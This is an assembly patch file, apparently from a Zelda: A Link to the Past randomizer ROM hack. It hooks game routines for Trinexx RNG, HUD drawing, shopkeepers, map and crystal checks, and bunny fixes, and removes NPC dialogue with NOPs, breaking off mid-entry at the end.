;-------------------------------------------------------------------------------- ; org $1DB16C ; <- EB16C - sprite_trinexx.asm : 530 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Trinexx ; org $1DB186 ; <- EB186 - sprite_trinexx.asm : 535 (JSL GetRandomInt : AND.b #$07 : TAY) ; JSL.l RNG_Trinexx ; org $1DB25E ; <- EB25E - sprite_trinexx.asm : 643 (JSL GetRandomInt : AND.b #$03 : TAY : CMP $00 : BEQ BRANCH_ALPHA) ; JSL.l RNG_Trinexx ; org $1DB28D ; <- EB28D - sprite_trinexx.asm : 661 (JSL GetRandomInt : AND.b #$03 : CMP.b #$01 : TYA : BCS BRANCH_GAMMA) ; JSL.l RNG_Trinexx ; org $1DB9B0 ; <- EB9B0 - sprite_sidenexx.asm : 165 (JSL GetRandomInt : AND.b #$07 : INC A : CMP.b #$05 : BCS BRANCH_ALPHA) ; JSL.l RNG_Trinexx ; org $1DB9CC ; <- EB9CC - sprite_sidenexx.asm : 175 (JSL GetRandomInt : LSR A : BCS BRANCH_ALPHA) ; JSL.l RNG_Trinexx ; org $1DBA5D ; <- EBA5D - sprite_sidenexx.asm : 270 (JSL GetRandomInt : AND.b #$0F : STA $0DF0, X) ; JSL.l RNG_Trinexx ; org $1DBAB1 ; <- EBAB1 - sprite_sidenexx.asm : 314 (JSL GetRandomInt : AND.b #$0F : LDY.b #$00 : SUB.b #$03) ; JSL.l RNG_Trinexx ; org $1DBAC3 ; <- EBAC3 - sprite_sidenexx.asm : 323 (JSL GetRandomInt : AND.b #$0F : ADD.b #$0C : STA $02 : STZ $03) ; JSL.l RNG_Trinexx ;================================================================================ ; HUD Changes ;-------------------------------------------------------------------------------- org $0DFC77 ; <- 6FC77 - headsup_display.asm : 845 NOP #$2D ; #45 org $0DFC77 ; <- 6FC77 - yes these are both the correct address - kkat JSL.l OnDrawHud BRA $27 org $0DFCB8 ; <- 6FCB8 JSL.l DrawBombTens ; nudge bomb 10s digit right org $0DFCC4 ; <- 6FCC4 JSL.l DrawBombOnes ; nudge bomb 1s digit right org $0DFCDC ; <- 6FCDC JSL.l DrawArrowTens org $0DFCE8 ; <- 6FCE8 JSL.l DrawArrowOnes org $0DFD0A ; <- 6FD0A - headsup_display.asm : 900 STA $7EC766 ; nudge key digit right org $0DFD13 ; <- 6FD13 - headsup_display.asm : 905 STA $7EC726 ; key icon blank org $0DFC37 ; <- 6FC37 - headsup_display.asm : 828 (LDA.w #$28F7) JSL.l DrawMagicHeader NOP #17 ;-------------------------------------------------------------------------------- org $0DFB29 ; <- headsup_display.asm : 688 (LDA.b #$86 : STA $7EC71E) ;LDA.b #$86 : STA $7EC720 ; nudge silver arrow right - remember to update this in newit ;LDA.b #$24 : STA $7EC721 ;LDA.b #$87 : STA $7EC722 ;LDA.b #$24 : STA $7EC723 JSL.l DrawHUDArrows : BRA + NOP #18 + ; ;-------------------------------------------------------------------------------- org $01CF67 ; <- CF67 - Bank01.asm : 11625 (STA $7EF36F) JSL.l DecrementSmallKeys ; ;-------------------------------------------------------------------------------- org $0DED04 ; <- 6ED04 - equipment.asm : 1963 (REP #$30) JSL.l DrawHUDDungeonItems ;-------------------------------------------------------------------------------- ; Insert our version of the hud tilemap org $0DFA96 ; <- 6FA96 - headsup_display.asm : 626 (LDX.w #.hud_tilemap) LDX.w #HUD_TileMap org $0DFA9C ; <- 6FA9C - headsup_display.asm : 629 (MVN $0D, $7E ; $Transfer 0x014A bytes from $6FE77 -> $7EC700) MVN $C77E ;-------------------------------------------------------------------------------- ;org $0DE48E ; <- 6E48E - equipment.asm : 1233 (LDA.w #$11CE : STA $00) - HOOK HERE TO DRAW ON THE ITEM SCREEN ;JSL.l DrawHUDDungeonItems ;NOP ;-------------------------------------------------------------------------------- org $0DFB1F ; 6FB1F - headsup_display.asm : 681 (LDA $7EF340 : BEQ .hastNoBow) JSL.l CheckHUDSilverArrows ;-------------------------------------------------------------------------------- ;================================================================================ ; 300 Rupee NPC ;-------------------------------------------------------------------------------- org $1EF060 ; <- F7060 - sprite_shopkeeper.asm:242 (INC $0D80, X) JSL.l Set300RupeeNPCItem NOP ;-------------------------------------------------------------------------------- ; ;================================================================================ ; ; Glitched Mode Fixes ; ;-------------------------------------------------------------------------------- ; org $0691AC ; <- 311AC - sprite_prep.asm:2453 (LDY $0FFF) ; JSL.l GetAgahnimPalette ; NOP #2 ; ;-------------------------------------------------------------------------------- ; org $06F0DD ; <- 370DD - Bank06.asm:5399 (STA $0BA0, X) ; JSL.l GetAgahnimDeath ; NOP #2 ; ;-------------------------------------------------------------------------------- ; org $1ED4E6 ; <- F54E6 - sprite_agahnim.asm:314 (LDY $0FFF) ; JSL.l GetAgahnimType ; NOP #2 ; ;-------------------------------------------------------------------------------- ; org $1ED577 ; <- F5577 - sprite_agahnim.asm:418 (PHX) ; JML.l GetAgahnimSlot ; GetAgahnimSlotReturn: ; ;-------------------------------------------------------------------------------- ; org $1ED678 ; <- F5678 - sprite_agahnim.asm:587 (INC $0E30, X) ; NOP #2 ; JSL.l GetAgahnimLightning ; ;-------------------------------------------------------------------------------- ; org $0287E0 ; <- 107E0 - Bnak02.asm:1507 (LDA $0112 : ORA $02E4 : ORA $0FFC : BEQ .allowJoypadInput) ; JSL.l AllowJoypadInput : NOP #5 ; ;-------------------------------------------------------------------------------- ;================================================================================ ; Half Magic Bat ;-------------------------------------------------------------------------------- org $05FBD3 ; <- 2FBD3 - sprite_mad_batter.asm:209 - (STA $7EF37B) JSL.l GetMagicBatItem ;-------------------------------------------------------------------------------- ; ;================================================================================ ; ; MSU Music ; ;-------------------------------------------------------------------------------- ; org $0080D7 ; <- D7 - Bank00.asm:172 (SEP #$30) ; spc_nmi: ; JML msu_main ; NOP ; spc_continue: ; org $0EE6EC ; <- E220 A922 - Bank0E.asm:2892 (SEP #$20) ; JSL.l ending_wait ; ;-------------------------------------------------------------------------------- ;================================================================================ ; Replacement Shopkeeper ;-------------------------------------------------------------------------------- org $068BEB ; <- 30BEB - sprite_prep.asm:1125 - (INC $0BA0, X) JSL.l SpritePrep_ShopKeeper : RTS : NOP ShopkeeperFinishInit: ;-------------------------------------------------------------------------------- org $1EEEE3 ; <- F6EE3 - sprite_shopkeeper.asm:7 - (LDA $0E80, X) JSL.l Sprite_ShopKeeper : RTS : NOP ShopkeeperJumpTable: ;-------------------------------------------------------------------------------- ;================================================================================ ; Tile Target Loader ;-------------------------------------------------------------------------------- org $00D55E ; <- 555E - Bank00.asm:3491 (LDX.w #$2D40) JSL.l LoadModifiedTileBufferAddress : NOP #2 ;-------------------------------------------------------------------------------- ;================================================================================ ; Permabunny Fix ;-------------------------------------------------------------------------------- org $078F32 ; <- 38F32 - Bank07.asm:2420 - (LDA $7EF357) JSL.l DecideIfBunny ; for bunny beams ;-------------------------------------------------------------------------------- ;================================================================================ ; Other bunny Fixes ;-------------------------------------------------------------------------------- org $029E7C; <- 11E7C - module_ganon_emerges.asm:127 - (LDA.b #$09 : STA $012C) JSL.l FixAga2Bunny : NOP ;-------------------------------------------------------------------------------- ;================================================================================ ; Open Mode Fixes ;-------------------------------------------------------------------------------- org $05DF65 ; <- 2DF65 - sprite_uncle_and_priest.asm:994 - (LDA.b #$01 : STA $7EF3C5) JSL.l SetUncleRainState : RTS ;-------------------------------------------------------------------------------- ;org $0280DD ; <- 100DD - Bank02.asm:298 - (LDA $7EF3C5 : CMP.b #$02 : BCC .indoors) ;JSL.l ForceLinksHouse ;-------------------------------------------------------------------------------- org $05EDDF ; <- 2EDDF - sprite_zelda.asm:398 - (LDA.b #$02 : STA $7EF3C5) JSL.l EndRainState : NOP #2 ;-------------------------------------------------------------------------------- org $05DF49 ; <- 2DF49 - sprite_uncle_and_priest.asm:984 - (JSL Link_ReceiveItem) JSL.l OnUncleItemGet ;-------------------------------------------------------------------------------- ; ;================================================================================ ; ; Generic Keys ; ;-------------------------------------------------------------------------------- ; org $028157 ; <- 10157 - Bank02.asm:381 - (LDA $040C : CMP.b #$FF : BEQ .notPalace) ; JSL.l CheckKeys : NOP ; ;-------------------------------------------------------------------------------- ; org $028166 ; <- 10166 - Bank02.asm:396 - (LDA $7EF37C, X) ; JSL.l LoadKeys ; ;-------------------------------------------------------------------------------- ; org $029A31 ; <- 11A31 - Bank02.asm:4785 - (LDA $7EF37C, X) ; JSL.l LoadKeys ; ;-------------------------------------------------------------------------------- ; org $02A0D1 ; <- 120D1 - Bank02.asm:5841 - (STA $7EF37C, X) ; JSL.l SaveKeys ; ;-------------------------------------------------------------------------------- ; org $09F584 ; <- 4F584 - module_death.asm:447 - (STA $7EF37C, X) ; JSL.l SaveKeys ; ;-------------------------------------------------------------------------------- ; org $0282EC ; <- 102EC - Bank02.asm:650 - (STA $7EF36F) ; JSL.l ClearOWKeys ;-------------------------------------------------------------------------------- org $0DFA80 ; <- 6FA80 : headsup_display.asm:596 - (LDA.b #$00 : STA $7EC017) JSL.l HUDRebuildIndoor : NOP #4 ;-------------------------------------------------------------------------------- org $029A35 ; <- 11A35 : Bank02.asm:4789 - (JSL HUD.RebuildIndoor.palace) JSL.l HUDRebuildIndoorHole ;-------------------------------------------------------------------------------- org $0DFCEC ; <- 6FCEC : headsup_display.asm:887 - (LDA.w #$007F : STA $05) LDA.w #$7F7F : STA $04 ; Have both key digits default to blank org $0DFD02 ; <- 6FD02 ; headsup_display.asm:900 - (LDA $05 : AND.w #$00FF : ORA.w #$2400 : STA $7EC764) JSL.l DrawKeyIcon : NOP #8 ;-------------------------------------------------------------------------------- ;================================================================================ ; Pendant / Crystal Fixes ;-------------------------------------------------------------------------------- ;org $0DE9C8 ; <- 6E9C8 - original check for agahnim 1 being defeated ;;LDA $7EF3CA : CMP.b #$40 ; check for dark world instead ;JSL.l CheckPendantHUD ;NOP #2 ;================================================================================ org $0DE9C8 ; <- 6E9C8 - equipment.asm:1623 - (LDA $7EF3C5 : CMP.b #$03 : BCC .beforeAgahnim) JSL.l DrawPendantCrystalDiagram : RTS ;NOP #11 ;================================================================================ org $0DEDCC ; <- 6EDCC - equipment.asm:2043 - (LDA $040C : AND.w #$00FF : CMP.w #$00FF : BNE .inSpecificDungeon) JSL.l ShowDungeonItems : NOP #5 org $0DEE59 ; <- 6EE59 - equipment.asm:2126 - (LDA $040C : AND.w #$00FF : CMP.w #$00FF : BEQ .notInPalace) JSL.l ShowDungeonItems : NOP #5 org $0DEE8A ; <- 6EE8A - equipment.asm:2151 - (LDA $040C : AND.w #$00FF : CMP.w #$00FF : BEQ .notInPalaceAgain) JSL.l ShowDungeonItems : NOP #5 org $0DEF3B ; <- 6EF3B - equipment.asm:2290 - (LDA $040C : AND.w #$00FF : CMP.w #$00FF : BEQ .notInPalace) JSL.l ShowDungeonItems : NOP #5 ;================================================================================ org $0DEA5F ; <- 6EA5F - equipment.asm:1679 - (SEP #$30) ;NOP #5 ;BRL .skipCrystalInit ;org $0DEAA4 ; <- 6EAA4 - equipment.asm:1706 - (LDA $7EF37A : AND.w #$0001) ;.skipCrystalInit ;================================================================================ org $0DE9D8 ; <- 6E9D8 - equipment.asm:1635 - (LDA $E860, X : STA $12EA, X) org $0DEA15 ; <- 6EA15 - equipment.asm:1647 - (LDA.w #$13B2 : STA $00) ;================================================================================ org $00F97E ; <- 797E - Bank00.asm:8586 - (LDA $7EF3CA : EOR.b #$40 : STA $7EF3CA) JSL.l FlipLWDWFlag : NOP #6 ;================================================================================ org $02B162 ; <- 13162 - Bank02.asm:7672 - (LDA $7EF3CA : EOR.b #$40 : STA $7EF3CA) JSL.l IncrementOWMirror JSL.l FlipLWDWFlag NOP #2 ;================================================================================ ;Clear level to open doors org $01C50D ; 0xC50D - Bank01.asm:10032 - (LDA $7EF3CA : BNE .inDarkWorld) LDA CrystalPendantFlags_2, X ;================================================================================ ;Kill enemy to clear level org $01C715 ; <- C715 - Bank01.asm:10358 - (LDA $7EF3CA : BNE .inDarkWorld) LDA CrystalPendantFlags_2, X ;JSL.l GetPendantCrystalWorld ;================================================================================ ;org $0AC5C3 ; <- 545C3 - Bank0A.asm:1859 - (LDA $7EF374 : AND $0AC5A6, X : BEQ .fail) ;NOP #10 ;CLC ;================================================================================ org $0AC5BB ; < 545BB - Bank0A.asm:1856 - (LDA $7EF3C7 : CMP.b #$03 : BNE .fail) JSL.l OverworldMap_CheckObject : RTS org $0AC5D8 ; < 545D8 - Bank0A.asm:1885 - (LDA $7EF3C7 : CMP.b #$07 : BNE OverworldMap_CheckPendant_fail) JSL.l OverworldMap_CheckObject : RTS ;================================================================================ org $0AC012 ; <- 54012 - Bank0A.asm:1039 - (LDA $7EF2DB) JSL.l OnLoadMap ;================================================================================ org $0AC53e ; <- 5453E - Bank0A.asm:1771 - (LDA $0AC50D, X : STA $0D) JSL.l GetCrystalNumber ;================================================================================ ; EVERY INSTANCE OF STA $7EF3C7 IN THE ENTIRE CODEBASE org $029D51 ; <- 11D51 JSL.l SetLWDWMap org $0589BB ; <- 289BB JSL.l SetLWDWMap org $05DD9A ; <- 2DD9A JSL.l SetLWDWMap org $05F1F6 ; <- 2F1F6 JSL.l SetLWDWMap org $05F209 ; <- 2F209 JSL.l SetLWDWMap org $05FF91 ; <- 2FF91 JSL.l SetLWDWMap org $098687 ; <- 48687 JSL.l SetLWDWMap org $1ECEDD ; <- F4EDD JSL.l SetLWDWMap org $1ECF0D ; <- F4F0D JSL.l SetLWDWMap ;================================================================================ ; EVERY INSTANCE OF LDA $7EF3C7 IN THE ENTIRE CODEBASE org $05DDFE ; <- 2DDFE JSL.l GetMapMode org $05EE25 ; <- 2EE25 JSL.l GetMapMode org $05F17D ; <- 2F17D JSL.l GetMapMode org $05FF7D ; <- 2FF7D JSL.l GetMapMode org $0AC01A ; <- 5401A JSL.l GetMapMode org $0AC037 ; <- 54037 JSL.l GetMapMode org $0AC079 ; <- 54079 JSL.l GetMapMode org $0AC0B8 ; <- 540B8 x JSL.l GetMapMode org $0AC0F8 ; <- 540F8 JSL.l GetMapMode org $0AC137 ; <- 54137 JSL.l GetMapMode org $0AC179 ; <- 54179 JSL.l GetMapMode org $0AC1B3 ; <- 541B3 JSL.l GetMapMode org $0AC1F5 ; <- 541F5 JSL.l GetMapMode org $0AC22F ; <- 5422F JSL.l GetMapMode org $0AC271 ; <- 54271 JSL.l GetMapMode org $0AC2AB ; <- 542AB JSL.l GetMapMode org $0AC2ED ; <- 542ED JSL.l GetMapMode org $0AC327 ; <- 54327 JSL.l GetMapMode org $0AC369 ; <- 54369 JSL.l GetMapMode org $0DC849 ; <- 6C849 JSL.l GetMapMode ;================================================================================ org $0AC012 ; <- 54012 - Bank0A.asm:1039 (LDA $7EF2DB : AND.b #$20 : BNE BRANCH_DELTA) NOP #8 ;================================================================================ org $028B8F ; <- 10B8F - Bank02.asm:2236 (LDA $7EF374 : LSR A : BCS BRANCH_BETA) JSL.l CheckHeraObject : BNE + : NOP LDX.b #$F1 : STX $012C + ;================================================================================ org $029090 ; <- 11090 - Bank02.asm:3099 (LDA $7EF374 : LSR A : BCS BRANCH_GAMMA) JSL.l CheckHeraObject : BNE + : NOP STX $012C ; DON'T MOVE THIS FORWARD OR MADNESS AWAITS + ;================================================================================ org $029798 ; <- 11798 - Bank02.asm:4287 (CMP $02895C, X : BNE BRANCH_ALPHA) NOP #6 ; remove crystal room cutscene check that causes softlocks ;================================================================================ ; ;================================================================================ ; ; Text Changes ; ;-------------------------------------------------------------------------------- ; ;org $06C7D3 ; <- 347D3 - sprite_ponds.asm:720 (LDA.b #$8A) ; ;JSL.l DialogFairyThrow ; ;-------------------------------------------------------------------------------- org $06C7BB ; <- 347BB - sprite_ponds.asm:702 (JSL Sprite_ShowMessageFromPlayerContact : BCC BRANCH_ALPHA) JSL.l FairyPond_Init ; ;-------------------------------------------------------------------------------- org $06C9C0 ; <- 349C0 - sprite_ponds.asm:1068 (JSL Link_ReceiveItem) JSL.l FairyPond_PreventReplacement ; ;-------------------------------------------------------------------------------- org $08C5ED ; <- 445ED - ancilla_receive_item.asm:395 (STA $1CF0 : CMP.w #$0070 : BNE .notGeezerSpeech) NOP #3 ; ;-------------------------------------------------------------------------------- ; org $02A005 ; <- 12005 - Bank02.asm:5667 (JSL Main_ShowTextMessage) ; JSL.l DialogTriforce : NOP #4 ; ;-------------------------------------------------------------------------------- ; org $1D92EC ; <- E92EC - sprite_ganon.asm:947 (JSL Sprite_ShowMessageMinimal) ; JSL.l DialogGanon1 ; ;-------------------------------------------------------------------------------- ; org $1D9078 ; <- E9078 - sprite_ganon.asm:552 (LDA.b #$70 : STA $1CF0) ; JSL.l DialogGanon2 : RTS ; ;-------------------------------------------------------------------------------- ; org $1DA4EC ; <- EA4EC - sprite_blind_entities.asm:845 (JSL Sprite_ShowMessageMinimal) ; JSL.l DialogBlind ; ;-------------------------------------------------------------------------------- ; org $06C94C ; <- 3494C - sprite_ponds.asm:970 (JSL Sprite_ShowMessageUnconditional) ; JSL.l DialogPyramidFairy ; ;-------------------------------------------------------------------------------- org $06C454 ; <- 34454 - sprite_ponds.asm:133 (LDA $0D80, X) LDA.b #$00 : NOP ; ;-------------------------------------------------------------------------------- ; ;-- Sahasrahla (no green pendant) ; org $05F16C ; <- 2F16C sprite_elder.asm:137 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt ; ;-------------------------------------------------------------------------------- ; ;-- Sahasrahla (have boots) ; org $05F1A8 ; <- 2F1A8 sprite_elder.asm:170 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt ; ;-------------------------------------------------------------------------------- ; ;-- Sahasrahla (have boots, have ice rod) ; org $05F1BC ; <- 2F1BC sprite_elder.asm:182 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt ; ;-------------------------------------------------------------------------------- ; ;-- Sahasrahla (have boots, have ice rod, have 3 pendants) ; org $05F1CE ; <- 2F1CE sprite_elder.asm:194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt ; ;-------------------------------------------------------------------------------- ; ;-- Sahasrahla (have boots, have ice rod, have 3 pendants, have master sword) ; org $05F1D8 ; <- 2F1D8 sprite_elder.asm:204 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt ; ;-------------------------------------------------------------------------------- ; ;-- drinking guy ; org $1EF61C ; <- F761C sprite_drinking_guy.asm:29 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt ; ;================================================================================ ;================================================================================ ; Text Removal ;-------------------------------------------------------------------------------- ;-- Music restarting at zelda fix org $05ED10 ; <- 2ED10 - sprite_zelda.asm : 233 - (LDA.b #$19 : STA $012C) NOP #5 ;-------------------------------------------------------------------------------- org $1ECE47 ; <- F4E47 - sprite_crystal_maiden.asm : 220 JML.l MaidenCrystalScript ;-------------------------------------------------------------------------------- org $1ECCEB ; <- F4CEB - sprite_crystal_maiden.asm : 25 ; skip all palette nonsense JML.l SkipCrystalPalette org $1ECD39 SkipCrystalPalette: ;-------------------------------------------------------------------------------- org $08C3FD ; <- 443FD - ancilla_receive_item.asm : 89 !MS_GOT = "$7F5031" LDA #$40 : STA !MS_GOT ;;NOP #6 ; don't set master sword follower ;-------------------------------------------------------------------------------- org $08C5FE ; <- 445FE - ancilla_receive_item.asm : 408 NOP #4 ;-------------------------------------------------------------------------------- org $1ED467 ; <- F5467 - sprite_agahnim.asm : 202 NOP #4 ;-------------------------------------------------------------------------------- org $1ED4FF ; <- F54FF - sprite_agahnim.asm : 328 NOP #4 ;-------------------------------------------------------------------------------- ;org $029C94 ; <- 11C94 - Bank02.asm : 5197 (JSL Main_ShowTextMessage) ;NOP #4 ;-------------------------------------------------------------------------------- org $029CBD ; <- 11CBD - Bank02.asm : 5227 (JSL Messaging_Text) STZ $11 NOP #2 ;-------------------------------------------------------------------------------- ;org $029CD3 ; <- 11CD3 - Bank02.asm : 5237 (BNE BRANCH_BETA) ;db $80 ; BRA ;-------------------------------------------------------------------------------- org $029CDF ; <- 11CDF - Bank02.asm : 5245 (JSL Main_ShowTextMessage) NOP #4 ;-------------------------------------------------------------------------------- org $029CF0 ; <- 11CF0 - Bank02.asm : 5266 STZ $11 NOP #2 ;-------------------------------------------------------------------------------- org $05FB70 ; <- 2FB70 - sprite_mad_batter.asm:131 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-------------------------------------------------------------------------------- org $05FBC2 ; <- 2FBC3 - sprite_mad_batter.asm:195 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-------------------------------------------------------------------------------- ;org $05F16C ; <- 2F16C - sprite_elder.asm : 137 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .dont_show) ;NOP #4 ;-------------------------------------------------------------------------------- ;org $05F190 ; <- 2F190 - sprite_elder.asm : 170 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;NOP #4 ;-------------------------------------------------------------------------------- ;org $05F1A8 ; <- 2F1A8 - sprite_elder.asm : 182 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;NOP #4 ;-------------------------------------------------------------------------------- ;org $05F1BC ; <- 2F1BC - sprite_elder.asm : 194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;NOP #4 ;-------------------------------------------------------------------------------- ;org $05F1CE ; <- 2F1CE - sprite_elder.asm : 194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;NOP #4 ;-------------------------------------------------------------------------------- ; ;-- Old mountain man healing text ; org $1EEAD7 ; F6AD7 sprite_old_mountain_man.asm : (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_speak) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; ;-------------------------------------------------------------------------------- ; ;-- Priest healing text ; org $05DE11 ; 2DE11 sprite_uncle_and_priest.asm : 720 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .gamma) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; ;-------------------------------------------------------------------------------- ; ;-- zelda's heal text ; org $05EE38 ; <- 2ee38 sprite_zelda.asm : 474 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; ;-------------------------------------------------------------------------------- ;-- zelda in jail org $05ED06 ; <- 2ED06 sprite_zelda.asm : 227 - (JSL Sprite_ShowMessageUnconditional) STZ $1CE8 : NOP org $05ED27 ; <- 2ED27 sprite_zelda.asm : 256 - (JSL Sprite_ShowMessageUnconditional) NOP #4 org $05ED35 ; <- 2ED35 sprite_zelda.asm : 272 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------- ;-- sanctuary org $05DD83 ; <- 2DD83 sprite_uncle_and_priest.asm : 608 - (JSL Sprite_ShowMessageUnconditional) STZ $1CE8 : NOP org $05EDC8 ; <- 2EDC8 sprite_zelda.asm : 388 - (JSL Sprite_ShowMessageUnconditional) NOP #4 org $05DDAB ; <- 2DDAB sprite_uncle_and_priest.asm : 635 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------- ;-- Sick Kid org $06B9C6 ; <- 339C6 sprite_bug_net_kid.asm : 92 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------- ;-- Hobo org $06BE5F ; <- 33E5F sprite_hobo.asm : 121 - (JSL Sprite_ShowMessageUnconditional) Nop #4 ;---------------------------------------------------------- ;-- Sahasrahla ;org $05F190 ; <- 2F190 sprite_elder.asm : 154 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .dont_show_2) - "Blah blah blah, take the boots" ;JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit org $05F212 ; <- 2F212 sprite_elder.asm : 261 - (JSL Sprite_ShowMessageUnconditional) - "Gave you the boots but I'm not doing talking yet" NOP #4 org $05F1ED ; <- 2F1ED sprite_elder.asm : 225 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------------- ;-- Shopkeepers org $1EEF7C ; <- F6F7C sprite_shopkeeper.asm : 85 (JSL Sprite_ShowMessageUnconditional) NOP #4 org $1EF375 ; <- F7375 sprite_shopkeeper.asm : 810 (JSL Sprite_ShowMessageUnconditional : JSL ShopKeeper_RapidTerminateReceiveItem) NOP #8 ;---------------------------------------------------------- ;-- Bomb shop guy (buying small bombs, and buying big bomb) org $1EE1C0 ; <- F61C0 sprite_bomb_shop_entity.asm : 120 (JSL Sprite_ShowMessageUnconditional) NOP #4 org $1EE208 ; <- F6208 sprite_bomb_shop_entity.asm : 178 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-- Text hook for the actual npc ;org $1EE181 ; <- F6181 sprite_bomb_shop_entity.asm : 85 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Alt ;---------------------------------------------------------- ;-- Catfish org $1DE112 ; <- EE112 sprite_great_catfish.asm : 341 (JSL Sprite_ShowMessageMinimal) NOP #4 ;---------------------------------------------------- ;-- King Zora org $059A7D ; <- 29A7D sprite_zora_king.asm : 223 - (JSL Sprite_ShowMessageMinimal) STZ $1CE8 : NOP ;---------------------------------------------------- ;-- Before Agah 1 fight org $1DD299 ; <- ED299 sprite_chatty_agahnim.asm : 111 (JSL Sprite_ShowMessageMinimal) NOP #4 org $1DD35E ; <- ED35E sprite_chatty_agahnim.asm : 253 (JSL Sprite_ShowMessageMinimal) NOP #4 ;---------------------------------------------------- ;-- Blind Maiden (in jail) ;org $1EE8CD ; <- F68CD sprite_blind_maiden.asm : 18 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_speak) ;NOP #4 ;---------------------------------------------------- ;-- Blind (Maiden) in Jail ;org $1EE8CD ; <- F68CD sprite_blind_maiden.asm : 18 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_speak) ;JSL Sprite_ShowMessageFromPlayerContact_Edit ;---------------------------------------------------- ;-- Kiki org $1EE3E6 ; <- F63E6 sprite_kiki.asm : 157 pay kiki 10 rupees STZ $1CE8 : NOP org $1EE400 ; <- F6400 sprite_kiki.asm : 178 thanks for giving kiki rupees NOP #4 org $1EE4FB ; <- F64FB sprite_kiki.asm : 340 pay 100 rupees STZ $1CE8 : NOP org $1EE523 ; <- F6523 sprite_kiki.asm : 373 kiki will open door NOP #4 ;org $1EE414 ; <- F6414 sprite_kiki.asm : 193 don't have 10 rupees ;NOP #4 ;org $1EE50C ; <- F650C sprite_kiki.asm : 356 don't have 100 rupees ;NOP #4 ;---------------------------------------------------- ;-- Witch org $05E4FB ; <- 2E4FB sprite_witch.asm : 165 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) NOP #4 ;---------------------------------------------------- ;-- Breaking Ganon's Tower Seal org $08CD3A ; <- 44D3A ancilla_break_tower_seal.asm : 55 (JSL Main_ShowTextMessage) NOP #4 ;---------------------------------------------------- ;-- Bombos tablet ;org $05F3BF ; <- 2F3BF sprite_medallion_tablet.asm : 254 (JSL Sprite_ShowMessageUnconditional) ;JSL.l DialogBombosTablet ;---------------------------------------------------- ;-- Ether tablet ;org $05F429 ; <- 2F429 sprite_medallion_tablet.asm : 317 (JSL Sprite_ShowMessageUnconditional) ;JSL.l DialogEtherTablet ;---------------------------------------------------- ;-- Agahnim 1 Defeated org $068475 ; <- 30475 Bank06.asm : 762 - (JSL Sprite_ShowMessageMinimal) JSL.l AddInventory_incrementBossSwordLong ;NOP #4 ; ;---------------------------------------------------- ; ;-- Old Mountain Man Encounter Text ; org $1EE9BC ; <- sprite_old_mountain_man.asm : 157 - (Sprite_ShowMessageFromPlayerContact) ; JSL Sprite_ShowMessageFromPlayerContact_Edit ; org $09A67D ; <- 4A67D tagalong.asm : 1152 (JSL OldMountainMan_TransitionFromTagalong) ; JML OldMountainMan_TransitionFromTagalong_Edit ; ;---------------------------------------------------------- ; ;-- Purple Chest Encounter Text ; org $1EE0E7 ; <- F60E7 sprite_thief_chest.asm : 16 (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_touch) ; JSL Sprite_ShowMessageFromPlayerContact_Edit ; ;---------------------------------------------------------- ; ;-- Middle aged man opens purple chest ; org $06BD44 ; <- 33D44 sprite_middle_aged_man.asm : 107 (JSL Sprite_ShowMessageFromPlayerContact : BCC .return) ; JSL Sprite_ShowMessageFromPlayerContact_Edit ; ;---------------------------------------------------------- ;-- Smiths ;-- Ribbit ; org $06B2AA ; <- 332AA sprite_smithy_bros.asm : 152 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; ;-- Ask us to do anything ; org $06B418 ; <- 33418 sprite_smithy_bros.asm : 371 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .player_didnt_speak) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; ;-- Your sword is tempered! ; org $06B538 ; <- 33538 sprite_smithy_bros.asm : 602 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .no_player_dialogue) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ;-- Brought dwarf home org $06B438 ; <- 33438 sprite_smithy_bros.asm : 399 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-- 10 rupees to temper org $06B470 ; <- 33470 sprite_smithy_bros.asm : 447 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-- Yes, I'm sure org $06B495 ; <- 33495 